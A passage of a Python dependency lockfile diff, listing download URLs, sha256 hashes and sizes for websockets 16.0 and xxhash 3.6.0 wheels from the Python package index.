"https://files.pythonhosted.org/packages/c3/f0/f3a17365441ed1c27f850a80b2bc680a0fa9505d733fe152fdf5e98c1c0b/websockets-16.0-cp312-cp312-win_amd64.whl", hash = "sha256:5569417dc80977fc8c2d43a86f78e0a5a22fee17565d78621b6bb264a115d4ea", size = 178693, upload-time = "2026-01-10T09:22:57.478Z" }, + { url = "https://files.pythonhosted.org/packages/cc/9c/baa8456050d1c1b08dd0ec7346026668cbc6f145ab4e314d707bb845bf0d/websockets-16.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:878b336ac47938b474c8f982ac2f7266a540adc3fa4ad74ae96fea9823a02cc9", size = 177364, upload-time = "2026-01-10T09:22:59.333Z" }, + { url = "https://files.pythonhosted.org/packages/7e/0c/8811fc53e9bcff68fe7de2bcbe75116a8d959ac699a3200f4847a8925210/websockets-16.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:52a0fec0e6c8d9a784c2c78276a48a2bdf099e4ccc2a4cad53b27718dbfd0230", size = 175039, upload-time = "2026-01-10T09:23:01.171Z" }, + { url = "https://files.pythonhosted.org/packages/aa/82/39a5f910cb99ec0b59e482971238c845af9220d3ab9fa76dd9162cda9d62/websockets-16.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e6578ed5b6981005df1860a56e3617f14a6c307e6a71b4fff8c48fdc50f3ed2c", size = 175323, upload-time = "2026-01-10T09:23:02.341Z" }, + { url = "https://files.pythonhosted.org/packages/bd/28/0a25ee5342eb5d5f297d992a77e56892ecb65e7854c7898fb7d35e9b33bd/websockets-16.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:95724e638f0f9c350bb1c2b0a7ad0e83d9cc0c9259f3ea94e40d7b02a2179ae5", size = 184975, upload-time = "2026-01-10T09:23:03.756Z" }, + { url = "https://files.pythonhosted.org/packages/f9/66/27ea52741752f5107c2e41fda05e8395a682a1e11c4e592a809a90c6a506/websockets-16.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c0204dc62a89dc9d50d682412c10b3542d748260d743500a85c13cd1ee4bde82", size = 186203, upload-time = "2026-01-10T09:23:05.01Z" }, + { url = "https://files.pythonhosted.org/packages/37/e5/8e32857371406a757816a2b471939d51c463509be73fa538216ea52b792a/websockets-16.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:52ac480f44d32970d66763115edea932f1c5b1312de36df06d6b219f6741eed8", size = 185653, upload-time = "2026-01-10T09:23:06.301Z" }, + { url = "https://files.pythonhosted.org/packages/9b/67/f926bac29882894669368dc73f4da900fcdf47955d0a0185d60103df5737/websockets-16.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6e5a82b677f8f6f59e8dfc34ec06ca6b5b48bc4fcda346acd093694cc2c24d8f", size = 184920, upload-time = "2026-01-10T09:23:07.492Z" }, + { url = "https://files.pythonhosted.org/packages/3c/a1/3d6ccdcd125b0a42a311bcd15a7f705d688f73b2a22d8cf1c0875d35d34a/websockets-16.0-cp313-cp313-win32.whl", hash = "sha256:abf050a199613f64c886ea10f38b47770a65154dc37181bfaff70c160f45315a", size = 178255, upload-time = "2026-01-10T09:23:09.245Z" }, + { url = "https://files.pythonhosted.org/packages/6b/ae/90366304d7c2ce80f9b826096a9e9048b4bb760e44d3b873bb272cba696b/websockets-16.0-cp313-cp313-win_amd64.whl", hash = "sha256:3425ac5cf448801335d6fdc7ae1eb22072055417a96cc6b31b3861f455fbc156", size = 178689, upload-time = "2026-01-10T09:23:10.483Z" }, + { url = "https://files.pythonhosted.org/packages/f3/1d/e88022630271f5bd349ed82417136281931e558d628dd52c4d8621b4a0b2/websockets-16.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:8cc451a50f2aee53042ac52d2d053d08bf89bcb31ae799cb4487587661c038a0", size = 177406, upload-time = "2026-01-10T09:23:12.178Z" }, + { url = "https://files.pythonhosted.org/packages/f2/78/e63be1bf0724eeb4616efb1ae1c9044f7c3953b7957799abb5915bffd38e/websockets-16.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:daa3b6ff70a9241cf6c7fc9e949d41232d9d7d26fd3522b1ad2b4d62487e9904", size = 175085, upload-time = "2026-01-10T09:23:13.511Z" }, + { url = "https://files.pythonhosted.org/packages/bb/f4/d3c9220d818ee955ae390cf319a7c7a467beceb24f05ee7aaaa2414345ba/websockets-16.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:fd3cb4adb94a2a6e2b7c0d8d05cb94e6f1c81a0cf9dc2694fb65c7e8d94c42e4", size = 175328, upload-time = "2026-01-10T09:23:14.727Z" }, + { url = "https://files.pythonhosted.org/packages/63/bc/d3e208028de777087e6fb2b122051a6ff7bbcca0d6df9d9c2bf1dd869ae9/websockets-16.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:781caf5e8eee67f663126490c2f96f40906594cb86b408a703630f95550a8c3e", size = 185044, upload-time = "2026-01-10T09:23:15.939Z" }, + { url = "https://files.pythonhosted.org/packages/ad/6e/9a0927ac24bd33a0a9af834d89e0abc7cfd8e13bed17a86407a66773cc0e/websockets-16.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:caab51a72c51973ca21fa8a18bd8165e1a0183f1ac7066a182ff27107b71e1a4", size = 186279, upload-time = "2026-01-10T09:23:17.148Z" }, + { url = "https://files.pythonhosted.org/packages/b9/ca/bf1c68440d7a868180e11be653c85959502efd3a709323230314fda6e0b3/websockets-16.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19c4dc84098e523fd63711e563077d39e90ec6702aff4b5d9e344a60cb3c0cb1", size = 185711, upload-time = "2026-01-10T09:23:18.372Z" }, + { url = "https://files.pythonhosted.org/packages/c4/f8/fdc34643a989561f217bb477cbc47a3a07212cbda91c0e4389c43c296ebf/websockets-16.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:a5e18a238a2b2249c9a9235466b90e96ae4795672598a58772dd806edc7ac6d3", size = 184982, upload-time = "2026-01-10T09:23:19.652Z" }, + { url = "https://files.pythonhosted.org/packages/dd/d1/574fa27e233764dbac9c52730d63fcf2823b16f0856b3329fc6268d6ae4f/websockets-16.0-cp314-cp314-win32.whl", hash = "sha256:a069d734c4a043182729edd3e9f247c3b2a4035415a9172fd0f1b71658a320a8", size = 177915, upload-time = "2026-01-10T09:23:21.458Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f1/ae6b937bf3126b5134ce1f482365fde31a357c784ac51852978768b5eff4/websockets-16.0-cp314-cp314-win_amd64.whl", hash = "sha256:c0ee0e63f23914732c6d7e0cce24915c48f3f1512ec1d079ed01fc629dab269d", size = 178381, upload-time = "2026-01-10T09:23:22.715Z" }, + { url = "https://files.pythonhosted.org/packages/06/9b/f791d1db48403e1f0a27577a6beb37afae94254a8c6f08be4a23e4930bc0/websockets-16.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:a35539cacc3febb22b8f4d4a99cc79b104226a756aa7400adc722e83b0d03244", size = 177737, upload-time = "2026-01-10T09:23:24.523Z" }, + { url = "https://files.pythonhosted.org/packages/bd/40/53ad02341fa33b3ce489023f635367a4ac98b73570102ad2cdd770dacc9a/websockets-16.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:b784ca5de850f4ce93ec85d3269d24d4c82f22b7212023c974c401d4980ebc5e", size = 175268, upload-time = "2026-01-10T09:23:25.781Z" }, + { url = "https://files.pythonhosted.org/packages/74/9b/6158d4e459b984f949dcbbb0c5d270154c7618e11c01029b9bbd1bb4c4f9/websockets-16.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:569d01a4e7fba956c5ae4fc988f0d4e187900f5497ce46339c996dbf24f17641", size = 175486, upload-time = "2026-01-10T09:23:27.033Z" }, + { url = "https://files.pythonhosted.org/packages/e5/2d/7583b30208b639c8090206f95073646c2c9ffd66f44df967981a64f849ad/websockets-16.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:50f23cdd8343b984957e4077839841146f67a3d31ab0d00e6b824e74c5b2f6e8", size = 185331, upload-time = "2026-01-10T09:23:28.259Z" }, + { url = "https://files.pythonhosted.org/packages/45/b0/cce3784eb519b7b5ad680d14b9673a31ab8dcb7aad8b64d81709d2430aa8/websockets-16.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:152284a83a00c59b759697b7f9e9cddf4e3c7861dd0d964b472b70f78f89e80e", size = 186501, upload-time = "2026-01-10T09:23:29.449Z" }, + { url = "https://files.pythonhosted.org/packages/19/60/b8ebe4c7e89fb5f6cdf080623c9d92789a53636950f7abacfc33fe2b3135/websockets-16.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:bc59589ab64b0022385f429b94697348a6a234e8ce22544e3681b2e9331b5944", size = 186062, upload-time = "2026-01-10T09:23:31.368Z" }, + { url = "https://files.pythonhosted.org/packages/88/a8/a080593f89b0138b6cba1b28f8df5673b5506f72879322288b031337c0b8/websockets-16.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:32da954ffa2814258030e5a57bc73a3635463238e797c7375dc8091327434206", size = 185356, upload-time = "2026-01-10T09:23:32.627Z" }, + { url = "https://files.pythonhosted.org/packages/c2/b6/b9afed2afadddaf5ebb2afa801abf4b0868f42f8539bfe4b071b5266c9fe/websockets-16.0-cp314-cp314t-win32.whl", hash = "sha256:5a4b4cc550cb665dd8a47f868c8d04c8230f857363ad3c9caf7a0c3bf8c61ca6", size = 178085, upload-time = "2026-01-10T09:23:33.816Z" }, + { url = "https://files.pythonhosted.org/packages/9f/3e/28135a24e384493fa804216b79a6a6759a38cc4ff59118787b9fb693df93/websockets-16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b14dc141ed6d2dde437cddb216004bcac6a1df0935d79656387bd41632ba0bbd", size = 178531, upload-time = "2026-01-10T09:23:35.016Z" }, + { url = "https://files.pythonhosted.org/packages/72/07/c98a68571dcf256e74f1f816b8cc5eae6eb2d3d5cfa44d37f801619d9166/websockets-16.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:349f83cd6c9a415428ee1005cadb5c2c56f4389bc06a9af16103c3bc3dcc8b7d", size = 174947, upload-time = "2026-01-10T09:23:36.166Z" }, + { url = "https://files.pythonhosted.org/packages/7e/52/93e166a81e0305b33fe416338be92ae863563fe7bce446b0f687b9df5aea/websockets-16.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:4a1aba3340a8dca8db6eb5a7986157f52eb9e436b74813764241981ca4888f03", size = 175260, upload-time = "2026-01-10T09:23:37.409Z" }, + { url = "https://files.pythonhosted.org/packages/56/0c/2dbf513bafd24889d33de2ff0368190a0e69f37bcfa19009ef819fe4d507/websockets-16.0-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f4a32d1bd841d4bcbffdcb3d2ce50c09c3909fbead375ab28d0181af89fd04da", size = 176071, upload-time = "2026-01-10T09:23:39.158Z" }, + { url = "https://files.pythonhosted.org/packages/a5/8f/aea9c71cc92bf9b6cc0f7f70df8f0b420636b6c96ef4feee1e16f80f75dd/websockets-16.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0298d07ee155e2e9fda5be8a9042200dd2e3bb0b8a38482156576f863a9d457c", size = 176968, upload-time = "2026-01-10T09:23:41.031Z" }, + { url = "https://files.pythonhosted.org/packages/9a/3f/f70e03f40ffc9a30d817eef7da1be72ee4956ba8d7255c399a01b135902a/websockets-16.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:a653aea902e0324b52f1613332ddf50b00c06fdaf7e92624fbf8c77c78fa5767", size = 178735, upload-time = "2026-01-10T09:23:42.259Z" }, + { url = "https://files.pythonhosted.org/packages/6f/28/258ebab549c2bf3e64d2b0217b973467394a9cea8c42f70418ca2c5d0d2e/websockets-16.0-py3-none-any.whl", hash = "sha256:1637db62fad1dc833276dded54215f2c7fa46912301a24bd94d45d46a011ceec", size = 171598, upload-time = "2026-01-10T09:23:45.395Z" }, +] + +[[package]] +name = "xxhash" +version = "3.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/02/84/30869e01909fb37a6cc7e18688ee8bf1e42d57e7e0777636bd47524c43c7/xxhash-3.6.0.tar.gz", hash = "sha256:f0162a78b13a0d7617b2845b90c763339d1f1d82bb04a4b07f4ab535cc5e05d6", size = 85160, upload-time = "2025-10-02T14:37:08.097Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/34/ee/f9f1d656ad168681bb0f6b092372c1e533c4416b8069b1896a175c46e484/xxhash-3.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:87ff03d7e35c61435976554477a7f4cd1704c3596a89a8300d5ce7fc83874a71", size = 32845, upload-time = "2025-10-02T14:33:51.573Z" }, + { url = "https://files.pythonhosted.org/packages/a3/b1/93508d9460b292c74a09b83d16750c52a0ead89c51eea9951cb97a60d959/xxhash-3.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f572dfd3d0e2eb1a57511831cf6341242f5a9f8298a45862d085f5b93394a27d", size = 30807, upload-time = "2025-10-02T14:33:52.964Z" }, + { url = "https://files.pythonhosted.org/packages/07/55/28c93a3662f2d200c70704efe74aab9640e824f8ce330d8d3943bf7c9b3c/xxhash-3.6.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:89952ea539566b9fed2bbd94e589672794b4286f342254fad28b149f9615fef8", size = 193786, upload-time = "2025-10-02T14:33:54.272Z" }, + { url = "https://files.pythonhosted.org/packages/c1/96/fec0be9bb4b8f5d9c57d76380a366f31a1781fb802f76fc7cda6c84893c7/xxhash-3.6.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:48e6f2ffb07a50b52465a1032c3cf1f4a5683f944acaca8a134a2f23674c2058", size = 212830, upload-time = "2025-10-02T14:33:55.706Z" }, + { url = "https://files.pythonhosted.org/packages/c4/a0/c706845ba77b9611f81fd2e93fad9859346b026e8445e76f8c6fd057cc6d/xxhash-3.6.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b5b848ad6c16d308c3ac7ad4ba6bede80ed5df2ba8ed382f8932df63158dd4b2", size = 211606, upload-time = "2025-10-02T14:33:57.133Z" }, + { url = "https://files.pythonhosted.org/packages/67/1e/164126a2999e5045f04a69257eea946c0dc3e86541b400d4385d646b53d7/xxhash-3.6.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a034590a727b44dd8ac5914236a7b8504144447a9682586c3327e935f33ec8cc", size = 444872, upload-time = "2025-10-02T14:33:58.446Z" }, + { url = "https://files.pythonhosted.org/packages/2d/4b/55ab404c56cd70a2cf5ecfe484838865d0fea5627365c6c8ca156bd09c8f/xxhash-3.6.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a8f1972e75ebdd161d7896743122834fe87378160c20e97f8b09166213bf8cc", size = 193217, upload-time = "2025-10-02T14:33:59.724Z" }, + { url = "https://files.pythonhosted.org/packages/45/e6/52abf06bac316db33aa269091ae7311bd53cfc6f4b120ae77bac1b348091/xxhash-3.6.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ee34327b187f002a596d7b167ebc59a1b729e963ce645964bbc050d2f1b73d07", size = 210139, upload-time = "2025-10-02T14:34:02.041Z" }, + { url = "https://files.pythonhosted.org/packages/34/37/db94d490b8691236d356bc249c08819cbcef9273a1a30acf1254ff9ce157/xxhash-3.6.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:339f518c3c7a850dd033ab416ea25a692759dc7478a71131fe8869010d2b75e4", size = 197669, upload-time = "2025-10-02T14:34:03.664Z" }, + { url = "https://files.pythonhosted.org/packages/b7/36/c4f219ef4a17a4f7a64ed3569bc2b5a9c8311abdb22249ac96093625b1a4/xxhash-3.6.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:bf48889c9630542d4709192578aebbd836177c9f7a4a2778a7d6340107c65f06", size = 210018, upload-time = "2025-10-02T14:34:05.325Z" }, + { url = "https://files.pythonhosted.org/packages/fd/06/bfac889a374fc2fc439a69223d1750eed2e18a7db8514737ab630534fa08/xxhash-3.6.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:5576b002a56207f640636056b4160a378fe36a58db73ae5c27a7ec8db35f71d4", size = 413058, upload-time = "2025-10-02T14:34:06.925Z" }, + { url = "https://files.pythonhosted.org/packages/c9/d1/555d8447e0dd32ad0930a249a522bb2e289f0d08b6b16204cfa42c1f5a0c/xxhash-3.6.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:af1f3278bd02814d6dedc5dec397993b549d6f16c19379721e5a1d31e132c49b", size = 190628, upload-time = "2025-10-02T14:34:08.669Z" }, + { url = "https://files.pythonhosted.org/packages/d1/15/8751330b5186cedc4ed4b597989882ea05e0408b53fa47bcb46a6125bfc6/xxhash-3.6.0-cp310-cp310-win32.whl", hash = "sha256:aed058764db109dc9052720da65fafe84873b05eb8b07e5e653597951af57c3b", size = 30577, upload-time = "2025-10-02T14:34:10.234Z" }, + { url = "https://files.pythonhosted.org/packages/bb/cc/53f87e8b5871a6eb2ff7e89c48c66093bda2be52315a8161ddc54ea550c4/xxhash-3.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:e82da5670f2d0d98950317f82a0e4a0197150ff19a6df2ba40399c2a3b9ae5fb", size = 31487, upload-time = "2025-10-02T14:34:11.618Z" }, + { url = "https://files.pythonhosted.org/packages/9f/00/60f9ea3bb697667a14314d7269956f58bf56bb73864f8f8d52a3c2535e9a/xxhash-3.6.0-cp310-cp310-win_arm64.whl", hash = "sha256:4a082ffff8c6ac07707fb6b671caf7c6e020c75226c561830b73d862060f281d", size = 27863, upload-time = "2025-10-02T14:34:12.619Z" }, + { url = "https://files.pythonhosted.org/packages/17/d4/cc2f0400e9154df4b9964249da78ebd72f318e35ccc425e9f403c392f22a/xxhash-3.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b47bbd8cf2d72797f3c2772eaaac0ded3d3af26481a26d7d7d41dc2d3c46b04a", size = 32844, upload-time = "2025-10-02T14:34:14.037Z" }, + { url = "https://files.pythonhosted.org/packages/5e/ec/1cc11cd13e26ea8bc3cb4af4eaadd8d46d5014aebb67be3f71fb0b68802a/xxhash-3.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2b6821e94346f96db75abaa6e255706fb06ebd530899ed76d32cd99f20dc52fa", size = 30809, upload-time = "2025-10-02T14:34:15.484Z" }, + { url = "https://files.pythonhosted.org/packages/04/5f/19fe357ea348d98ca22f456f75a30ac0916b51c753e1f8b2e0e6fb884cce/xxhash-3.6.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d0a9751f71a1a65ce3584e9cae4467651c7e70c9d31017fa57574583a4540248", size = 194665, upload-time = "2025-10-02T14:34:16.541Z" }, + { url = "https://files.pythonhosted.org/packages/90/3b/d1f1a8f5442a5fd8beedae110c5af7604dc37349a8e16519c13c19a9a2de/xxhash-3.6.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b29ee68625ab37b04c0b40c3fafdf24d2f75ccd778333cfb698f65f6c463f62", size = 213550, upload-time = "2025-10-02T14:34:17.878Z" }, + { url = "https://files.pythonhosted.org/packages/c4/ef/3a9b05eb527457d5db13a135a2ae1a26c80fecd624d20f3e8dcc4cb170f3/xxhash-3.6.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6812c25fe0d6c36a46ccb002f40f27ac903bf18af9f6dd8f9669cb4d176ab18f", size = 212384, upload-time = "2025-10-02T14:34:19.182Z" }, + { url = "https://files.pythonhosted.org/packages/0f/18/ccc194ee698c6c623acbf0f8c2969811a8a4b6185af5e824cd27b9e4fd3e/xxhash-3.6.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4ccbff013972390b51a18ef1255ef5ac125c92dc9143b2d1909f59abc765540e", size = 445749, upload-time = "2025-10-02T14:34:20.659Z" }, + { url = "https://files.pythonhosted.org/packages/a5/86/cf2c0321dc3940a7aa73076f4fd677a0fb3e405cb297ead7d864fd90847e/xxhash-3.6.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:297b7fbf86c82c550e12e8fb71968b3f033d27b874276ba3624ea868c11165a8", size = 193880, upload-time = "2025-10-02T14:34:22.431Z" }, + { url = "https://files.pythonhosted.org/packages/82/fb/96213c8560e6f948a1ecc9a7613f8032b19ee45f747f4fca4eb31bb6d6ed/xxhash-3.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dea26ae1eb293db089798d3973a5fc928a18fdd97cc8801226fae705b02b14b0", size = 210912, upload-time = "2025-10-02T14:34:23.937Z" }, + { url = "https://files.pythonhosted.org/packages/40/aa/4395e669b0606a096d6788f40dbdf2b819d6773aa290c19e6e83cbfc312f/xxhash-3.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7a0b169aafb98f4284f73635a8e93f0735f9cbde17bd5ec332480484241aaa77", size = 198654, upload-time = "2025-10-02T14:34:25.644Z" }, + { url = "https://files.pythonhosted.org/packages/67/74/b044fcd6b3d89e9b1b665924d85d3f400636c23590226feb1eb09e1176ce/xxhash-3.6.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:08d45aef063a4531b785cd72de4887766d01dc8f362a515693df349fdb825e0c", size = 210867, upload-time = "2025-10-02T14:34:27.203Z" }, + { url = "https://files.pythonhosted.org/packages/bc/fd/3ce73bf753b08cb19daee1eb14aa0d7fe331f8da9c02dd95316ddfe5275e/xxhash-3.6.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:929142361a48ee07f09121fe9e96a84950e8d4df3bb298ca5d88061969f34d7b", size = 414012, upload-time = "2025-10-02T14:34:28.409Z" }, + { url = "https://files.pythonhosted.org/packages/ba/b3/5a4241309217c5c876f156b10778f3ab3af7ba7e3259e6d5f5c7d0129eb2/xxhash-3.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:51312c768403d8540487dbbfb557454cfc55589bbde6424456951f7fcd4facb3", size = 191409, upload-time = "2025-10-02T14:34:29.696Z" }, + { url = "https://files.pythonhosted.org/packages/c0/01/99bfbc15fb9abb9a72b088c1d95219fc4782b7d01fc835bd5744d66dd0b8/xxhash-3.6.0-cp311-cp311-win32.whl", hash = "sha256:d1927a69feddc24c987b337ce81ac15c4720955b667fe9b588e02254b80446fd", size = 30574, upload-time = "2025-10-02T14:34:31.028Z" }, + { url = "https://files.pythonhosted.org/packages/65/79/9d24d7f53819fe301b231044ea362ce64e86c74f6e8c8e51320de248b3e5/xxhash-3.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:26734cdc2d4ffe449b41d186bbeac416f704a482ed835d375a5c0cb02bc63fef", size = 31481, upload-time = "2025-10-02T14:34:32.062Z" }, + { url = "https://files.pythonhosted.org/packages/30/4e/15cd0e3e8772071344eab2961ce83f6e485111fed8beb491a3f1ce100270/xxhash-3.6.0-cp311-cp311-win_arm64.whl", hash = "sha256:d72f67ef8bf36e05f5b6c65e8524f265bd61071471cd4cf1d36743ebeeeb06b7", size = 27861, upload-time = "2025-10-02T14:34:33.555Z" }, + { url = "https://files.pythonhosted.org/packages/9a/07/d9412f3d7d462347e4511181dea65e47e0d0e16e26fbee2ea86a2aefb657/xxhash-3.6.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:01362c4331775398e7bb34e3ab403bc9ee9f7c497bc7dee6272114055277dd3c", size = 32744, upload-time = "2025-10-02T14:34:34.622Z" }, + { url = "https://files.pythonhosted.org/packages/79/35/0429ee11d035fc33abe32dca1b2b69e8c18d236547b9a9b72c1929189b9a/xxhash-3.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b7b2df81a23f8cb99656378e72501b2cb41b1827c0f5a86f87d6b06b69f9f204", size = 30816, upload-time = "2025-10-02T14:34:36.043Z" }, + { url = "https://files.pythonhosted.org/packages/b7/f2/57eb99aa0f7d98624c0932c5b9a170e1806406cdbcdb510546634a1359e0/xxhash-3.6.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:dc94790144e66b14f67b10ac8ed75b39ca47536bf8800eb7c24b50271ea0c490", size = 194035, upload-time = "2025-10-02T14:34:37.354Z" }, + { url = "https://files.pythonhosted.org/packages/4c/ed/6224ba353690d73af7a3f1c7cdb1fc1b002e38f783cb991ae338e1eb3d79/xxhash-3.6.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93f107c673bccf0d592cdba077dedaf52fe7f42dcd7676eba1f6d6f0c3efffd2", size = 212914, upload-time = "2025-10-02T14:34:38.6Z" }, + { url = "https://files.pythonhosted.org/packages/38/86/fb6b6130d8dd6b8942cc17ab4d90e223653a89aa32ad2776f8af7064ed13/xxhash-3.6.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aa5ee3444c25b69813663c9f8067dcfaa2e126dc55e8dddf40f4d1c25d7effa", size = 212163, upload-time = "2025-10-02T14:34:39.872Z" }, + { url = "https://files.pythonhosted.org/packages/ee/dc/e84875682b0593e884ad73b2d40767b5790d417bde603cceb6878901d647/xxhash-3.6.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7f99123f0e1194fa59cc69ad46dbae2e07becec5df50a0509a808f90a0f03f0", size = 445411, upload-time = "2025-10-02T14:34:41.569Z" }, + { url = "https://files.pythonhosted.org/packages/11/4f/426f91b96701ec2f37bb2b8cec664eff4f658a11f3fa9d94f0a887ea6d2b/xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:49e03e6fe2cac4a1bc64952dd250cf0dbc5ef4ebb7b8d96bce82e2de163c82a2", size = 193883, upload-time = "2025-10-02T14:34:43.249Z" }, + { url = "https://files.pythonhosted.org/packages/53/5a/ddbb83eee8e28b778eacfc5a85c969673e4023cdeedcfcef61f36731610b/xxhash-3.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bd17fede52a17a4f9a7bc4472a5867cb0b160deeb431795c0e4abe158bc784e9", size = 210392, upload-time = "2025-10-02T14:34:45.042Z" }, + { url = "https://files.pythonhosted.org/packages/1e/c2/ff69efd07c8c074ccdf0a4f36fcdd3d27363665bcdf4ba399abebe643465/xxhash-3.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:6fb5f5476bef678f69db04f2bd1efbed3030d2aba305b0fc1773645f187d6a4e", size = 197898, upload-time = "2025-10-02T14:34:46.302Z" }, + { url = "https://files.pythonhosted.org/packages/58/ca/faa05ac19b3b622c7c9317ac3e23954187516298a091eb02c976d0d3dd45/xxhash-3.6.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:843b52f6d88071f87eba1631b684fcb4b2068cd2180a0224122fe4ef011a9374", size = 210655, upload-time = "2025-10-02T14:34:47.571Z" }, + { url = "https://files.pythonhosted.org/packages/d4/7a/06aa7482345480cc0cb597f5c875b11a82c3953f534394f620b0be2f700c/xxhash-3.6.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7d14a6cfaf03b1b6f5f9790f76880601ccc7896aff7ab9cd8978a939c1eb7e0d", size = 414001, upload-time = "2025-10-02T14:34:49.273Z" }, + { url = "https://files.pythonhosted.org/packages/23/07/63ffb386cd47029aa2916b3d2f454e6cc5b9f5c5ada3790377d5430084e7/xxhash-3.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:418daf3db71e1413cfe211c2f9a528456936645c17f46b5204705581a45390ae", size = 191431, upload-time = "2025-10-02T14:34:50.798Z" }, + { url = "https://files.pythonhosted.org/packages/0f/93/14fde614cadb4ddf5e7cebf8918b7e8fac5ae7861c1875964f17e678205c/xxhash-3.6.0-cp312-cp312-win32.whl", hash = "sha256:50fc255f39428a27299c20e280d6193d8b63b8ef8028995323bf834a026b4fbb", size = 30617, upload-time = "2025-10-02T14:34:51.954Z" }, + { url = "https://files.pythonhosted.org/packages/13/5d/0d125536cbe7565a83d06e43783389ecae0c0f2ed037b48ede185de477c0/xxhash-3.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:c0f2ab8c715630565ab8991b536ecded9416d615538be8ecddce43ccf26cbc7c", size = 31534, upload-time = "2025-10-02T14:34:53.276Z" }, + { url = 